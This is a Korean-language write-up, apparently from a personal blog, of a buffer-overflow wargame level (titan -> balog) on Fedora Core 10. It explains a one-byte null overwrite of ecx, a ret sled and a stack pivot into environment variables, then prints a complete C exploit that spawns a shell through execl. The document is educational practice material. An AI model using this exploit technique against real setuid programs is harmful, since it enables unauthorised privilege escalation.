Fedora Core 10 - Challenge [titan -> balog


[Summary]

1. ecx 레지스터에 1byte를 0x00(null)로 덮어써 이미 저장되어 있는 값을 이용한다.

2. ret sled를 이용하여 buffer의 어느 부분을 esp 레지스터가 가르키더라도 buffer 마지막 4바이트의 명령을 실행하도록 한다.

3. esp를 증가하는 어셈블리 명령을 이용하여 esp 레지스터 주소를 환경변수를 가리키도록 변조할 수 있다.


[Sourcecode]

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- balog
	- Local BOF on Fedora Core 10 
*/
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char buffer[256];
        if(argc != 2)
        {
                printf("argc Error!!\n");
                exit(-1);
        }

        // overflow!!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        return 0; 
}


[Analysis] 

먼저, 이번 문제부터는 프롤로그와 에필로그가 조금 달라진 것을 확인할 수 있다. Buffer overflow를 통해 ecx 레지스터를 변조할 수 있다고 하더라도 ret를 실행하기 직전에 esp를 ecx-0x4의 주소로 바꿔버리므로 eip 레지스터를 바꾸기 힘들어진다. 왜냐면 ASLR 상태에서 스택 주소가 계속 바뀌므로 정확한 주소로 변조가 어렵기 때문이다.  


이 문제의 경우 ecx 레지스터를 전체적으로 변조하기기 보다는 1바이트만 \x00으로 바꾸어 원래 ecx에 저장되어 있는 값을 이용하여야 한다. 따라서 buffer의 크기가 256이므로 임의로 256사이즈를 딱 맞춰줌으로써 문자열의 끝을 나타내는 \x00가 ecx 레지스터에 저장되는 값의 1바이트를 \x00 (null)으로 변조하게 된다.

ecx 레지스터에 들어가는 값의 1바이트를 00으로 변조할 경우, ret 명령이 실행될 때 esp가 buffer의 어느 지점을 가리키고 있을 것이다. 여기에서 ROP를 할 수 있겠지만, null을 사용할 수 없어 exploit이 매우 힘들다. 따라서 null을 사용할 수 있도록 다른 방법을 쓰는데 buffer에 ret sled를 통해 마지막 4바이트에서 main+112의 add esp, 0x114 명령을 수행하도록 하여 environ 영역으로 esp 레지스터를 변조할 수 있다. 이후 환경변수을 이용해서 execl 함수를 실행하면 된다.


[Exploit]

#include <stdio.h>
#include <stdlib.h>

int main(){
	char *environ[] = {
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"A\xc0\xca\xa3",	// 0xa3cac0 <execl>
		"AAA",
		"\xba\xcd\xad",	// 0xadcdba "sh"
		"\xba\xcd\xad",	// 0xadcdba "sh"
		"\x00",
		"\x00",
		"\x00",
		"\x00",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		"AAAA",
		0
	};
	
	// ret	=>	0x0804848f
	// main+112	=>	0x08048484
	// argv_payload	=>	ret * ((256-4)/4) + main_112
	char *argv[] = {"./balog", "\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x8f\x84\x04\x08\x84\x84\x04\x08", 0};
	execve("./balog", argv, environ);
}


잘못된 기재된 내용이나 수정해야 할 점이 있으면 댓글이나 park.uiseong[at]gmail.com으로 연락주시면 감사하겠습니다.

혼자 공부하면서 적은 글이라 사실과 다른 내용이 있을 수 있습니다.  

'Challenge > Fedora Core 10' 카테고리의 다른 글

Fedora Core 4 - Challenge [titan -> balog]  (0) 2018.07.16

+ Recent posts